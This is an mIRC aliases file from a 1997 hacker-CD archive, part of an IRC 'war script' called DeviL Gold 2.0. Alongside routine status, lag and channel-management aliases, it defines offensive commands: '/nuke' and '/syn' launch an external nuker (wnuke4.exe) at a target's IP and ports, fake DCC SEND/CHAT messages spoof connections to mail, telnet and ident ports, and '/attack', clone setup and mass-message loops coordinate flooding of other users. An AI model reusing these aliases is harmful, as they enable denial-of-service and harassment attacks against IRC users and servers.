home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / scriptz / dev20g.exe / ALIASES.INI next >
INI File  |  1997-02-14  |  33KB  |  792 lines
  1. [Aliases]
  2. n0=/nuke /run c:\revpower\bin\wnuke4.exe -n $$1 $$2 0 1024-2048 $$3
  3. n1=/syn /run c:\revpower\bin\wnuke4.exe -i $$1 6667-6669
  4. n2=/wnuke /enable #nuke | /whois $$1
  5. n3=;--------------------key aliases 
  6. n4=/f1 { %f1 }
  7. n5=/sf1 /set -q %f1 $$?="Enter Commands for F1:"
  8. n6=/f2 { %f2 }
  9. n7=/sf2 /set -q %f2 $$?="Enter Commands for F2:"
  10. n8=/f3 { %f3 }
  11. n9=/sf3 /set -q %f3 $$?="Enter Commands for F3:"
  12. n10=/f4 { %f4 }
  13. n11=/sf4 /set -q %f4 $$?="Enter Commands for F4:"
  14. n12=/f5 { %f5 }
  15. n13=/sf5 /set -q %f5 $$?="Enter Commands for F5:"
  16. n14=/sf12 /ignore -rp *!*@* | /echo 4 -s Removed CTCP Ignoring
  17. n15=/f12 /ignore -p *!*@* | /echo 4 -s Ignoring all CTCPs
  18. n16=;-------------------------------------------war aliases
  19. n17=/gchat /raw privmsg $$1 :DCC CHAT chat 33371822594 19 $+ 
  20. n18=/fakedccsend /raw privmsg $$1 :DCC SEND $$2 3371822594 19 $$3
  21. n19=/dccmail { 
  22. n20=  /set -q %mailip $$?="Enter SMTP Server IP"
  23. n21=  /set -q %from $$?="From (Your Address):"
  24. n22=  /set -q %to $$?="To (Receiver Address):"
  25. n23=  /set -q %msg $$?="Message:"
  26. n24=  /raw privmsg $me :DCC CHAT CHAT $longip(%mailip) 25 $+ 
  27. n25=  /set -q %dcc Mail
  28. n26=}
  29. n27=/dcctelnet { 
  30. n28=  /raw privmsg $me :DCC CHAT CHAT $longip($$?="Enter Telnet Server IP)) 23 $+ 
  31. n29=}
  32. n30=/dccftp {
  33. n31=  /raw privmsg $me :DCC CHAT CHAT $longip($$?="Enter FTP Server IP)) 21 $+ 
  34. n32=}
  35. n33=/dccident {
  36. n34=  /raw privmsg $me :DCC CHAT CHAT $longip($$?="Enter Ident Server IP)) 113 $+ 
  37. n35=}
  38. n36=/dccecho {
  39. n37=  /raw privmsg $me :DCC CHAT CHAT $longip($$?="Enter Echo Server IP)) 7 $+ 
  40. n38=}
  41. n39=/chatclone {
  42. n40=  /set -q %cName $$?="Name: (ID)"
  43. n41=  /set -q %cHostName $$?="Host:"
  44. n42=  /set -q %cServerName $$?="IRC Server:"
  45. n43=  /set -q %cRealName $$?="Real Name:"
  46. n44=  /set -q %cNick $$?="Nick:"
  47. n45=  /raw privmsg $me :DCC CHAT CHAT $longip(%serverip) $port $+ 
  48. n46=  /set -q %dcc Clone
  49. n47=}
  50. n48=/attack {
  51. n49=  /auser 900 $$1
  52. n50=  /set -q %underattack $$1
  53. n51=  /timer 9 5 /auser 900 $$1
  54. n52=  /timer 1 50 /unset %underattack | /ruser $$1  
  55. n53=  /timer 1 15 /raw -q ison $$1
  56. n54=  /s2clones /attack $$1 $$2 $$3
  57. n55=}
  58. n56=/longip /echo 4 IP: 2 $$1 4 -> LongIP: 2 $longip($$1)
  59. n57=;----------------------------------------------split detector
  60. n58=/splitdet {
  61. n59=  if (($$1 isin %badword) || ($$2 isin %badword)) /halt
  62. n60=  %split == $$1 $$2
  63. n61=  if %lastsplit == $$2 /halt
  64. n62=  if $len(%split) > 50 /halt
  65. n63=  %splitchr = 125
  66. n64=  :start
  67. n65=  %splitchr = %splitchr + 1
  68. n66=  if $chr(%splitchr) isin %split /halt
  69. n67=  if %splitchr < 255 goto start
  70. n68=  %splitchr = 0
  71. n69=  :start2
  72. n70=  %splitchr = %splitchr + 1
  73. n71=  if $chr(%splitchr) isin %split /halt
  74. n72=  if %splitchr < 31 goto start2
  75. n73=  amsg  â╨úv═L«â:NETSPLIT DETECTED:É $+ $$2 $+ É
  76. n74=  set -q %lastsplit $$2  
  77. n75=  .timer 1 30 /unset %lastsplit
  78. n76=  unset %split
  79. n77=}
  80. n78=;----------------------------------------------command to send data 2 clones
  81. n79=/s2clones {
  82. n80=  /unset %cclone
  83. n81=  /set -q %data2send *1
  84. n82=  :start
  85. n83=  /inc %cclone
  86. n84=  /dde clone $+ %cclone command "" %data2send
  87. n85=  /if %cclone < 8 /goto start
  88. n86=  /unset %cclone
  89. n87=}
  90. n88=;----------------------------------------------status commands
  91. n89=/uptitle {
  92. n90=  if $len(%hours) == 1 { %hours = 0 $+ %hours }
  93. n91=  if $len(%minutes) == 1 { %minutes = 0 $+ %minutes }
  94. n92=  if (%lag == 0) { titlebar %titlebar - No Lag(0) - %hours $+ : $+ %minutes OnLine }
  95. n93=  if (%lag <= 3) { titlebar %titlebar - No Lag(0) - %hours $+ : $+ %minutes OnLine }
  96. n94=  else { titlebar %titlebar - Lag( $+ %lag secs) - %hours $+ : $+ %minutes OnLine }
  97. n95=}
  98. n96=/ustatus { 
  99. n97=  if $len(%hours) == 1 { %hours = 0 $+ %hours }
  100. n98=  if $len(%minutes) == 1 { %minutes = 0 $+ %minutes }
  101. n99=  /echo 14 -----------------------------------------------
  102. n100=  /echo 4 %devill 2User Status2
  103. n101=  /echo 14 -----------------------------------------------
  104. n102=  /echo 3 Nick: 4 $+ $me
  105. n103=  /echo 3 IRCop: 4 $+ %ircop
  106. n104=  /echo 3 Host: 4 $+ $host
  107. n105=  /echo 3 IP:4 $ip
  108. n106=  /echo 3 Current page on your Browser:4 $+ $url
  109. n107=  /echo 3 Lag:4 %lag
  110. n108=  /echo 3 Current Server / Port: 4 $+ $server $+ 1/4 $port 
  111. n109=  /echo 3 Login Time: 4 $+ $mid(11,6,$asctime(%logintime))
  112. n110=  /echo 3 Time OnLine:4 %hours $+ : $+ %minutes 4
  113. n111=  /echo 3 AutoKick Flood:4 %floodkick
  114. n112=  /echo 3 AutoKick Caps:4 %capskicker
  115. n113=  /echo 3 AutoKick Repetition:4 %reptkicker
  116. n114=  /echo 3 AutoKick BadWord:4 %bwkicker
  117. n115=  /echo 14 -----------------------------------------------
  118. n116=}
  119. n117=/sstatus {
  120. n118=  /lusers
  121. n119=  /raw -q time $server
  122. n120=  /echo 14 -----------------------------------------------
  123. n121=  /echo 4 %devill 14Server Status14
  124. n122=  /echo 14 -----------------------------------------------
  125. n123=  /echo 3 Server:1 $server
  126. n124=  /echo 3 Server IP:1 %serverip
  127. n125=  /echo 3 Number Of Users:12 %numofusers
  128. n126=  /echo 3 Number Of Invisible Users:12 %numofinvusers
  129. n127=  /echo 3 Number Of Channels:12 %numofchans
  130. n128=  /echo 3 Number Of Operators on Line:7 %opersonline
  131. n129=  /echo 3 Time on Server:1 %servertime
  132. n130=  /echo 14 -----------------------------------------------
  133. n131=}
  134. n132=;------------------------------------------floodometer
  135. n133=/wrtfld {
  136. n134=  /dde devilcp ⌐╪±T«╪LPA±úL floodlevel %fldmtr
  137. n135=  /set -q %fldmtr 0
  138. n136=}
  139. n137=/upfldvar /inc %fldmtr  
  140. n138=/rstfldvar /set -q %fldmtr 0
  141. n139=/fldmtr {
  142. n140=  /if %fldmtrst == on { 
  143. n141=    /set %fldmtrst == off
  144. n142=    /timer7 off
  145. n143=    /disable #floodometer
  146. n144=    /goto end
  147. n145=  }
  148. n146=  /if $$1 == on { 
  149. n147=    /set %fldmtrst == on
  150. n148=    /timer7 0 1 /wrtfld
  151. n149=    /enable #floodometer
  152. n150=    /goto end
  153. n151=  }
  154. n152=  /if %fldmtrst == off { 
  155. n153=    /set %fldmtrst == on
  156. n154=    /timer7 0 1 /wrtfld
  157. n155=    /enable #floodometer
  158. n156=    /goto end
  159. n157=  }
  160. n158=  /if $$1 == off { 
  161. n159=    /set %fldmtrst == off
  162. n160=    /timer7 off
  163. n161=    /disable #floodometer
  164. n162=    /goto end
  165. n163=  }
  166. n164=  :end
  167. n165=}
  168. n166=;--------------------------------------------lagtester
  169. n167=/lagtest {
  170. n168=  /enable #lagtest
  171. n169=  /flush 1
  172. n170=  //auser 1 $me
  173. n171=  /echo 4 $active %devill 2½½ 14Testing Lag 2╗╗
  174. n172=  if $len(%hours) == 1 { %hours = 0 $+ %hours }
  175. n173=  if $len(%minutes) == 1 { %minutes = 0 $+ %minutes }
  176. n174=  /titlebar %titlebar - ½½ Testing Lag ╗╗ - %hours $+ : $+ %minutes OnLine
  177. n175=  /ctcp $me ping
  178. n176=}
  179. n177=;----------------------------idlekicker
  180. n178=/idlekick {
  181. n179=  /enable #idle.kicker
  182. n180=  /set -q %idlekickchan #$$1
  183. n181=  /set -q %totuser (0, %idlekickchan)
  184. n182=  /unset %curuser
  185. n183=  /msg %idlekickchan Starting %devill Idle-Kicker on %idlekickchan...
  186. n184=  :start
  187. n185=  /inc %curuser
  188. n186=  /whois $nick(%curuser, %idlekickchan)
  189. n187=  /if %curuser < %totuser /goto start
  190. n188=  /unset %curuser
  191. n189=}
  192. n190=/reset {
  193. n191=  titlebar ╨úv═L'º Shut Down Sequence Initiated
  194. n192=  echo 4 -a --------------- Restarting ╨úv═L ---------------
  195. n193=  echo 2 - 
  196. n194=  if $server != $null /away Restarting ╨úv═L 
  197. n195=  echo 4 -s Deactivating Groups
  198. n196=  /disable #text
  199. n197=  /disable #action
  200. n198=  /disable #notice
  201. n199=  echo 4 -s Switching off Timers
  202. n200=  /timers off
  203. n201=  echo 4 -s Flushing Levels
  204. n202=  /flush
  205. n203=  /rlevel 51
  206. n204=  /rlevel 52
  207. n205=  /rlevel 53
  208. n206=  /rlevel 0
  209. n207=  if %proxys == $null { %proxys = bbs.elogica.com.br }
  210. n208=  if %ircop == $null { %ircop = NO }
  211. n209=  if %badword == $null { %badword = . }
  212. n210=  if %hours == $null { %hours = 00 }
  213. n211=  if %minutes == $null { %minutes = 00 }
  214. n212=  if %flines == $null { %flines = 5 }
  215. n213=  if %fkicks == $null { %fkicks = 5 }
  216. n214=  if %floodkick == $null { %floodkick = off }
  217. n215=  if %capskicker == $null { %capskicker = off }
  218. n216=  if %bwkicker == $null { %bwkicker = off }
  219. n217=  if %reptkicker == $null { %reptkicker = off }
  220. n218=  if %topic == $null { %topic = --=@{^DeviL^}@=-- }
  221. n219=  if %lag == $null { %lag = 0 }
  222. n220=  if %banact == $null { %banact = 0 }
  223. n221=  if %f1 == $null { %f1 = /j #irclub }
  224. n222=  if %f2 == $null { %f2 = /using }
  225. n223=  if %f3 == $null { %f3 = /toget }
  226. n224=  if %f4 == $null { %f4 = /ignore *!*@* }
  227. n225=  if %f5 == $null { %f5 = /ignore -r *!*@* }
  228. n226=  if %nclones == $null { %nclones = 2 }
  229. n227=  if %dclones == $null { %dclones = 2 }
  230. n228=  if %anti-automsg == $null { %anti-automsg = off }
  231. n229=  if %noclones == $null { %noclones = off }
  232. n230=  if %badnick == $null { %banick = off }
  233. n231=  if %badnicks == $null { %badnicks = . }
  234. n232=  if %bytekick == $null { %bytekick = off }
  235. n233=  if %bytelimit == $null { %bytelimit = 200 }
  236. n234=  if %autosend == $null { %autosend = off }
  237. n235=  if %autosendfile == $null { %autosendfile = . }
  238. n236=  if %autosendtext == $null { %autosendtext = . }
  239. n237=  /writeini $mircdir $+ reset.ini reset bytelimit %bytelimit
  240. n238=  /writeini $mircdir $+ reset.ini reset bytekick %bytekick
  241. n239=  /writeini $mircdir $+ reset.ini reset noclones %noclones
  242. n240=  /writeini $mircdir $+ reset.ini reset badnicks %badnicks
  243. n241=  /writeini $mircdir $+ reset.ini reset badnick %badnick
  244. n242=  /writeini $mircdir $+ reset.ini reset antimsg %anti-automsg
  245. n243=  /writeini $mircdir $+ reset.ini reset proxys %proxys
  246. n244=  /writeini $mircdir $+ reset.ini reset ircop %ircop
  247. n245=  /writeini $mircdir $+ reset.ini reset badword %badword
  248. n246=  /writeini $mircdir $+ reset.ini reset hours %hours
  249. n247=  /writeini $mircdir $+ reset.ini reset minutes %minutes
  250. n248=  /writeini $mircdir $+ reset.ini reset flines %flines
  251. n249=  /writeini $mircdir $+ reset.ini reset fkicks %fkicks
  252. n250=  /writeini $mircdir $+ reset.ini reset floodkick %floodkick
  253. n251=  /writeini $mircdir $+ reset.ini reset capskicker %capskicker
  254. n252=  /writeini $mircdir $+ reset.ini reset bwkicker %bwkicker
  255. n253=  /writeini $mircdir $+ reset.ini reset reptkicker %reptkicker 
  256. n254=  /writeini $mircdir $+ reset.ini reset topic %topic
  257. n255=  /writeini $mircdir $+ reset.ini reset lag %lag
  258. n256=  /writeini $mircdir $+ reset.ini reset noban %banact
  259. n257=  /writeini $mircdir $+ reset.ini reset macrof1 %f1
  260. n258=  /writeini $mircdir $+ reset.ini reset macrof2 %f2
  261. n259=  /writeini $mircdir $+ reset.ini reset macrof3 %f3
  262. n260=  /writeini $mircdir $+ reset.ini reset macrof4 %f4
  263. n261=  /writeini $mircdir $+ reset.ini reset macrof5 %f5
  264. n262=  /writeini $mircdir $+ reset.ini reset dclones %dclones
  265. n263=  /writeini $mircdir $+ reset.ini reset nclones %nclones
  266. n264=  /writeini $mircdir $+ reset.ini reset autosendfile %autosendfile
  267. n265=  /writeini $mircdir $+ reset.ini reset autosendtext %autosendtext
  268. n266=  /writeini $mircdir $+ reset.ini reset autosend %autosend
  269. n267=  echo 4 -s Flushing Variables
  270. n268=  /unsetall
  271. n269=  echo 2 -
  272. n270=  echo 2 -s Restarting Timers
  273. n271=  if ($server != $null) { /timer1 0 300 /lagtest }
  274. n272=  if ($server != $null) { /timer2 0 300 { /lusers | /raw -q time $server } }
  275. n273=  if ($server != $null) { /timer3 0 1800 /ustatus }
  276. n274=  if ($server != $null) { /timer4 0 60 /uptitle }
  277. n275=  if ((%fldmtrst == on) && ($server != $null)) { /timer7 0 1 /wrtfld } 
  278. n276=  if ($server != $null) { /timer8 0 60 /inc %minutes }
  279. n277=  if ($server != $null) { /timer9 0 3600 /inc_hour }
  280. n278=  /echo 2 -
  281. n279=  echo 2 -s Adding Default Levels
  282. n280=  /auser 1 $me
  283. n281=  echo 2 -s Reactivating Groups
  284. n282=  /enable #notice
  285. n283=  /enable #action
  286. n284=  /enable #text
  287. n285=  echo 2 -s Resetting Variables
  288. n286=  %mynick = $me
  289. n287=  %myaddress = $address($me, 1)
  290. n288=  set %autosendfile $readini $mircdir $+ reset.ini reset autosendfile
  291. n289=  set %autosendtext $readini $mircdir $+ reset.ini reset autosendtext
  292. n290=  set %autosend $readini $mircdir $+ reset.ini reset autosend
  293. n291=  set %bytekick $readini $mircdir $+ reset.ini reset bytekick
  294. n292=  set %bytelimit $readini $mircdir $+ reset.ini reset bytelimit
  295. n293=  set %proxys $readini $mircdir $+ reset.ini reset proxys
  296. n294=  set %ircop $readini $mircdir $+ reset.ini reset ircop
  297. n295=  set %badword $readini $mircdir $+ reset.ini reset badword
  298. n296=  set %hours $readini $mircdir $+ reset.ini reset hours
  299. n297=  set %minutes $readini $mircdir $+ reset.ini reset minutes
  300. n298=  set %flines $readini $mircdir $+ reset.ini reset flines
  301. n299=  set %fkicks $readini $mircdir $+ reset.ini reset fkicks
  302. n300=  set %floodkick $readini $mircdir $+ reset.ini reset floodkick
  303. n301=  set %capskicker $readini $mircdir $+ reset.ini reset capskicker
  304. n302=  set %bwkicker $readini $mircdir $+ reset.ini reset bwkicker
  305. n303=  set %reptkicker $readini $mircdir $+ reset.ini reset reptkicker
  306. n304=  set %topic $readini $mircdir $+ reset.ini reset topic
  307. n305=  set %lag $readini $mircdir $+ reset.ini reset lag
  308. n306=  set %banact $readini $mircdir $+ reset.ini reset noban
  309. n307=  set %f1 $readini $mircdir $+ reset.ini reset macrof1
  310. n308=  set %f2 $readini $mircdir $+ reset.ini reset macrof2
  311. n309=  set %f3 $readini $mircdir $+ reset.ini reset macrof3
  312. n310=  set %f4 $readini $mircdir $+ reset.ini reset macrof4
  313. n311=  set %f5 $readini $mircdir $+ reset.ini reset macrof5
  314. n312=  set %dclones $readini $mircdir $+ reset.ini reset dclones
  315. n313=  set %nclones $readini $mircdir $+ reset.ini reset nclones
  316. n314=  set %anti-automsg $readini $mircdir $+ reset.ini reset antimsg
  317. n315=  set %noclones $readini $mircdir $+ reset.ini reset noclones
  318. n316=  set %badnicks $readini $mircdir $+ reset.ini reset badnicks
  319. n317=  set %badnick $readini $mircdir $+ reset.ini reset badnick
  320. n318=  %devill = â=^╨úv═L^=â
  321. n319=  %titlebar = â=^╨úv═L^=â Gold Vúrºi0n 2.0
  322. n320=  %version = â=^╨úv═L^=â Gold Vúrºi0n 2.0, 1996⌐, Internet IRClub Corp.
  323. n321=  echo 4 -a ╨úv═L'º Shut Down Sequence Completed
  324. n322=  /uptitle
  325. n323=  if $server != $null /lagtest
  326. n324=  if $server != $null /away
  327. n325=  if %killmsg = $null /set %killmsg Clone cleaning services...
  328. n326=  if %kickmsg = $null /set %kickmsg Cleaning services...
  329. n327=}
  330. n328=/info /msg # â=╨úv═L'º=â Retrieving # channel info... | /msg # Operator status: [â $+ $opnick(0,#) $+ â] | /msg # Users status: [â $+ $nopnick(0,#) $+ â] | /msg # Done. total users on # : [â $+ $nick(0,#) $+ â]
  331. n329=/5 /join #Hackers
  332. n330=/4 /join #Turma
  333. n331=/op /mode # +ooo $$1 $2 $3
  334. n332=/dop /mode # -ooo $$1 $2 $3
  335. n333=/j {
  336. n334=  /join #$$1
  337. n335=  /if ((%anti-automsg != $null) && (%anti-automsg != off)) { 
  338. n336=    if ((%lag != 0) && (%lag != $null)) /set %temp %lag + 4 | /ignore -pntu%temp *!*@* | /unset %temp
  339. n337=    else /ignore -pntu5 *!*@*
  340. n338=    /raw join #$$1 $2
  341. n339=  }
  342. n340=  /if %anti-automsg == off { /raw join #$$1 $2 }
  343. n341=}
  344. n342=}
  345. n343=/p /part #
  346. n344=/n /names $$1
  347. n345=/w /whois $$1
  348. n346=/k /kick # $$1 *2
  349. n347=/q /query $$1
  350. n348=/hop /part # | /join #$$1
  351. n349=/send /dcc send $1 $2
  352. n350=/chat /dcc chat $$1
  353. n351=/ping /ctcp $$1 ping
  354. n352=/ono /onotice #  $+ [-=Wall-OP's/ $+ # $+ =-] $+ 1 *1
  355. n353=/version /ctcp $$1 version
  356. n354=/hop /part # | /join #$$1
  357. n355=/send /dcc send $1 $2
  358. n356=/chat /dcc chat $1
  359. n357=/ping /ctcp $$1 ping
  360. n358=/DIE /quit Mom, no! mooommm noooo....... | /exit
  361. n359=/SPYON /enable #spy
  362. n360=/SPYOFF /disable #spy
  363. n361=/1 /join #Brasil
  364. n362=/2 /join #Recife
  365. n363=/f6 { /echo 12 -s --------------------------------------------------- | /echo -s 12 Last CTCP: %lastctcp | /echo 12 -s --------------------------------------------------- }
  366. n364=/3 /join #Jovem
  367. n365=/using /ame is using  4 â=^╨úv═L^=â 8Gold 5Vúrºi0n 4â2.0â,3 1996⌐, Internet IRClub Corp.
  368. n366=/onick /auser 999 $me | /nick _ $+ $rand(1,9) $+ DeviL $+ $rand(1,9) $+ _ | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  369. n367=/unick /auser 999 $me | /nick  _ $+ $rand(1,9)  $+ $rand(1,9) $+ DeV $+ $rand(1,9)  $+ $rand(1,9) $+ _ | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  370. n368=/enick /auser 999 $me | /nick $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(1,99) | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  371. n369=/idle /set -q %chan & $+ $r(A,Z) $+ $r(1,9) $+ Kill $+ $r(a,z) $+ $r(1,9) | /join %chan | /mode %chan +stin | /timer339 0 30 /describe %chan 4--=@{^╨úv═L'º^}@=-- 2Anti-Idle | /set -q %idle Yes
  372. n370=/unidle /timer339 off | /part %chan | /set -q %idle No
  373. n371=/akill /mode $me +s | /enable #ANTIKILL | /set -q %kill On | /echo 4  ╨úv═L'º Anti-Kill Actived
  374. n372=/akilloff /mode $me -s | /disable #ANTIKILL | /set -q %kill Off | /echo 4 ╨úv═L'º Anti-Kill DeActived
  375. n373=/inick /auser 999 $me | /nick $rand(a,z) $+ $rand(1,9) $+ $rand(A,Z) $+ Kill $+ $rand(1,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(1,9) | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  376. n374=/bnick /auser 999 $me | /nick $rand(a,z) $+ $rand(A,Z) $+ KilL $+ $rand(a,z) $+ $rand(A,Z) | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  377. n375=/cnick /auser 999 $me | /nick $read $mircdir $+ \nicks.txt | /timer99 1 5 { /nick %mynick | /auser 1 $me | /flush 999 }
  378. n376=/ircop /stats o
  379. n377=/kline /stats k
  380. n378=/tefode /play $mircdir $+ \Draws\2finger.txt
  381. n379=/total /me Informa que nesse momento, $time $+ , existem $nick(0,#) pessoas no canal # $+ . 
  382. n380=;-----
  383. n381=/dce /set -q %x.x 0 | /enable #check.for.clones | /set -q %detecttype 0 | /set -q %detectact 0 | /who #$$1
  384. n382=/kbc /set -q %x.x 0 | /enable #check.for.clones | /set -q %detecttype 1 | /set -q %detectact 2 | /who #$$1 | /set -q %detectchan $!
  385. n383=/dc /set -q %x.x 0 | /enable #check.for.clones | /set -q %detecttype 1 | /set -q %detectact 0 | /who #$$1
  386. n384=/kc /set -q %x.x 0 | /enable #check.for.clones | /set -q %detecttype 1 | /set -q %detectact 1 | /who #$$1 | /set -q %detectchan $!
  387. n385=/killc /set -q %x.x 0 | /enable #check.for.clones | /set -q %detecttype 1 | /set -q %detectact 1 | /who #$$1 
  388. n386=;---------
  389. n387=/irclube /me informa o endereco do 2Internet IRClub Corp. 1â[www.elogica.com.br/users/colares/irc.htm]â
  390. n388=/toget /me to get 8â=╨úv═L=â 2.0 Gold 1go to 2IRClub's 1site â[www.elogica.com.br/users/colares/irc.htm]â
  391. n389=/sogood  {
  392. n390=:inicio
  393. n391=/echo 4 *1
  394. n392=goto inicio
  395. n393=}
  396. n394=;-------------------------------------------mirror protection
  397. n395=/mirror {
  398. n396=/set -q %mirror1 $$1
  399. n397=/set -q %mirrorsize $len($$1)
  400. n398=/unset -q %actmirr
  401. n399=/unset %oper
  402. n400=/unset %mirror2
  403. n401=%mirror2 = ""
  404. n402=:start
  405. n403=/inc %actmirr 
  406. n404=/set -q %oper %mirrorsize
  407. n405=/inc %oper
  408. n406=/dec %oper %actmirr
  409. n407=/set %mirror2 %mirror2 $+ $right(1,$left(%oper, %mirror1))
  410. n408=/if %actmirr < %mirrorsize /goto start
  411. n409=/nick %mirror2
  412. n410=/unset %mirror1
  413. n411=/unset %mirror2
  414. n412=/unset %oper
  415. n413=/unset %actmirr
  416. n414=/unset %mirrorsize
  417. n415=}
  418. n416=/nickchprotect /auser 999 $me | /nick _ $+ $rand(1,9) $+ DeviL $+ $rand(1,9) $+ _ | /timer90 1 5 /nick %mynick | /auser 1 $me | /flush 999
  419. n417=;------------------------- mass commands
  420. n418=/nom { 
  421. n419=set %opmsg.var 1 
  422. n420=:next
  423. n421=if ($nopnick(%opmsg.var,$$1) == $null) { goto done } 
  424. n422=if ($nopnick(%opmsg.var,$$1) == $me) { inc %opmsg.var 1 | goto next } 
  425. n423=.timer 1 5 .msg $nopnick(%opmsg.var,$$1) [Non-Ops Message] *2 
  426. n424=inc %opmsg.var 1 
  427. n425=goto next 
  428. n426=:done
  429. n427=}
  430. n428=/non { 
  431. n429=set %notice.var 1 
  432. n430=:next 
  433. n431=if ($nopnick(%notice.var,$$1) == $null) { goto done } 
  434. n432=if ($nopnick(%notice.var,$$1) == $me) { inc %notice.var 1 | goto next } 
  435. n433=.notice $nopnick(%notice.var,$$1) [Non-Ops Notice] *2 
  436. n434=inc %notice.var 1 
  437. n435=goto next 
  438. n436=:done 
  439. n437=}
  440. n438=/omsg { 
  441. n439=if ($me isop $$1) { omsg $$1 *2 }
  442. n440=else {
  443. n441=  set %opmsg.var 1  
  444. n442=  :next 
  445. n443=  if ($opnick(%opmsg.var,$$1) == $null) { goto done } 
  446. n444=  if ($opnick(%opmsg.var,$$1) == $me) { inc %opmsg.var 1 | goto next } 
  447. n445=  .msg $opnick(%opmsg.var,$$1) [Op-Wide Message] *2
  448. n446=  inc %opmsg.var 1 
  449. n447=  goto next 
  450. n448=  :done 
  451. n449=}
  452. n450=}
  453. n451=/MassMsg { 
  454. n452=set %msg.var 1 
  455. n453=set %mass.msg $$?="Enter Your Msg:" 
  456. n454=:next 
  457. n455=if ($nick(%msg.var,$$1) == $null) { goto done } 
  458. n456=if ($nick(%msg.var,$$1) == $me) { inc %msg.var 1 | goto next } 
  459. n457=msg $nick(%msg.var,$$1) [╨úv═L] [Mass Msg] %mass.msg (Replies will be burnt!) 
  460. n458=inc %msg.var 1 
  461. n459=goto next 
  462. n460=:done 
  463. n461=}
  464. n462=/Ops {
  465. n463=if ($me isop $$1) { onotice $$1 [Op-Wide Notice]: $+ $$1 $+ : *2 }
  466. n464=else {
  467. n465=  set %notice.var 1
  468. n466=  :next
  469. n467=  if ($opnick(%notice.var,$$1) == $null) { goto done }
  470. n468=  .notice $opnick(%notice.var,$$1) [Op-Wide Notice]: $+ $$1 $+ : *2
  471. n469=  inc %notice.var 1
  472. n470=  goto next
  473. n471=  :done
  474. n472=}
  475. n473=}
  476. n474=;-----
  477. n475=/inc_hour { /inc %hours | /set -q %minutes 00 }
  478. n476=;-------- byte kicker 
  479. n477=iub {
  480. n478=inc % $+ [ $$1 ] $+ _bytes $$2
  481. n479=}
  482. n480=dub {
  483. n481=dec % $+ [ $$1 ] $+ _bytes $$2
  484. n482=%bytes = [ % $+ [ [ $$1 ] $+ _bytes ] ]
  485. n483=if (%bytes <= 0) { unset % $+ [ $$1 ] $+ _bytes }
  486. n484=unset %bytes
  487. n485=}
  488. n486=bytelevel {
  489. n487=return [ % $+ [ [ $$1 ] $+ _bytes ] ]
  490. n488=}
  491. n489=;-------- level aliases
  492. n490=/iuv {
  493. n491=if ($2 == $null) {
  494. n492=  inc % $+ [ $$1 ]
  495. n493=goto end }
  496. n494=else {
  497. n495=  %lev = [ % $+ [ $$2 ] ]
  498. n496=  inc %lev
  499. n497=  inc % $+ [ $$1 ] %lev
  500. n498=  unset %lev
  501. n499=goto end }
  502. n500=:end
  503. n501=}
  504. n502=/duv {
  505. n503=dec % $+ [ $$1 ]
  506. n504=%uvar = [ % $+ [ $$1 ] ]
  507. n505=if (%uvar <= 0) { unset % $+ [ $$1 ] }
  508. n506=unset %uvar
  509. n507=}
  510. n508=/dul {
  511. n509=%lev = $level($$1) 
  512. n510=dec %lev 
  513. n511=auser %lev $$1 
  514. n512=if (%lev <= 0) { ruser $$1 }
  515. n513=unset %lev 
  516. n514=}
  517. n515=/iul { 
  518. n516=if ($2 == $null) {
  519. n517=  %lev = $level($$1) 
  520. n518=  inc %lev 
  521. n519=  auser %lev $$1 
  522. n520=  unset %lev 
  523. n521=goto end }
  524. n522=else {
  525. n523=  %lev = $level($$2) 
  526. n524=  inc %lev 
  527. n525=  auser %lev $$1 
  528. n526=  unset %lev 
  529. n527=goto end }
  530. n528=:end
  531. n529=}
  532. n530=;-----Clone Setup
  533. n531=/setcmsgs {
  534. n532=/write -l$$1 $mircdir $+ cmsgs.txt *2
  535. n533=}
  536. n534=/setcnicks {
  537. n535=/write -l1 $mircdir $+ clnicks.txt $$1
  538. n536=/write -l2 $mircdir $+ clnicks.txt $$2
  539. n537=/write -l3 $mircdir $+ clnicks.txt $$3
  540. n538=/write -l4 $mircdir $+ clnicks.txt $$4
  541. n539=/write -l5 $mircdir $+ clnicks.txt $$5
  542. n540=/write -l6 $mircdir $+ clnicks.txt $$6
  543. n541=/write -l7 $mircdir $+ clnicks.txt $$7
  544. n542=/write -l8 $mircdir $+ clnicks.txt $$8
  545. n543=/write -l9 $mircdir $+ clnicks.txt $$9
  546. n544=/write -l10 $mircdir $+ clnicks.txt $$10
  547. n545=}
  548. n546=/setclserv {
  549. n547=/write -l1 $mircdir $+ clserver.txt $$1
  550. n548=/write -l2 $mircdir $+ clserver.txt $$2
  551. n549=/write -l3 $mircdir $+ clserver.txt $$3
  552. n550=/write -l4 $mircdir $+ clserver.txt $$4
  553. n551=}
  554. n552=;---identifiers
  555. n553=jplevel {
  556. n554=%lv =  [ $$1 ]
  557. n555=%lv = %lv $+ _ $+ #$$2 $+ _join
  558. n556=%level = [ % $+ [ %lv ] ]
  559. n557=unset %lv
  560. n558=/return %level
  561. n559=}
  562. n560=nclevel {
  563. n561=%lv =  [ $$1 ]
  564. n562=%lv = %lv $+ _ $+ #$$2
  565. n563=%level = [ % $+ [ %lv ] ]
  566. n564=unset %lv
  567. n565=/return %level
  568. n566=}
  569. n567=tlevel {
  570. n568=%level = [ % $+ [ $$1_text ] ] 
  571. n569=/return %level
  572. n570=}
  573. n571=alevel {
  574. n572=%level = [ % $+ [ $$1_action ] ] 
  575. n573=/return %level
  576. n574=}
  577. n575=nklevel {
  578. n576=%level = [ % $+ [ $$1_nick ] ] 
  579. n577=/return %level
  580. n578=}
  581. n579=nlevel {
  582. n580=%level = [ % $+ [ $$1_notice ] ] 
  583. n581=/return %level
  584. n582=}
  585. n583=klevel {
  586. n584=%level = [ % $+ [ $$1_kicks ] ] 
  587. n585=/return %level
  588. n586=}
  589. n587=devlev {
  590. n588=%level = $level($$1_devil)
  591. n589=/return %level
  592. n590=}
  593. n591=mutlev {
  594. n592=%level = $level($$1_mutant)
  595. n593=/return %level
  596. n594=}
  597. n595=killev {
  598. n596=%level = $level($$1_killer)
